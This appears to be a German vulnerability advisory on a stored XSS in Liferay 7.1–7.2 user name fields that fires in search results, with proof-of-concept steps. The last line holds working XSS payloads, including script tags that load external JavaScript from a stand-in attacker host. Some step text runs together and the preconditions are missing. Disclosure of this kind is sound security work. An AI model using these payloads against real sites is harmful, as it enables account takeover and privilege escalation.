
Authenticated Stored XSS in LifeRay 7.2.0 GA1 über MyAccountPortlet ausgelöst durch Search Results
In LifeRay Version 7.1.0 bis 7.2.1 GA2 sind die Felder Vorname, Zweiter Name und Nachname von Benutzerkonten anfällig für ein gespeichertes XSS-Problem. Jeder Benutzer kann diese Felder mit einem bestimmten XSS-Payload modifizieren, der in der Datenbank gespeichert wird und den Benutzer 'infiziert'. Der Payload wird dann gerendert, wenn ein Benutzer die Suchfunktion verwendet, um nach anderen Benutzern zu suchen. Wenn der infizierte Benutzer als Suchergebnis angezeigt wird, wird der XSS-Payload ausgeführt.
Diese Schwachstelle ermöglicht es einem Angreifer, beliebigen Code im Kontext jedes Benutzers auszuführen, der den XSS-Payload über die Suche auslöst. In der Praxis kann dies zu einer Rechteausweitung von einem nicht privilegierten Benutzer zu einem administrativen Benutzer sowie zu lateralem Movement führen, indem andere Konten übernommen werden. Darüber hinaus kann alles, was über JavaScript ausgeführt werden kann, im Kontext eines anderen Benutzers ausgenutzt werden.
Wie Sie im Proof of Concept (PoC) sehen werden, ist dies weit offen, da der Angreifer in einem Standardkontext problemlos externe Skripte laden kann.
Die meisten wichtigen Session-Cookies sind als HTTPOnly gekennzeichnet, was einfache Session-Hijacking-Techniken größtenteils verhindert. Allerdings ist zu beachten, dass Benutzer, die die Seite mit älteren Browsern betrachten, durch XST-Angriffe noch stärker betroffen sind.
Da Administratoren Gogo-Shell- und Groovy-Skript-Befehle ausführen können, ist es möglicherweise auch möglich, diesen Exploit mit diesen normalerweise vorgesehenen Funktionen zu verketten, um von einem nicht privilegierten Benutzer aus eine unbeabsichtigte RCE auf dem Hostsystem zu erlangen.
Damit diese Schwachstelle ausgelöst werden kann, müssen zwei Bedingungen erfüllt sein:
Sobald diese Bedingungen erfüllt sind, können die folgenden Schritte zur Ausnutzung der Schwachstelle befolgt werden:
Kontoeinstellungen
Kontoeinstellungenhttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????Speichernhttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive navigieren, auf das Symbol mit den drei Punkten auf der rechten Seite klicken und Beitreten auswählen.http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>Berichtsversion 4.0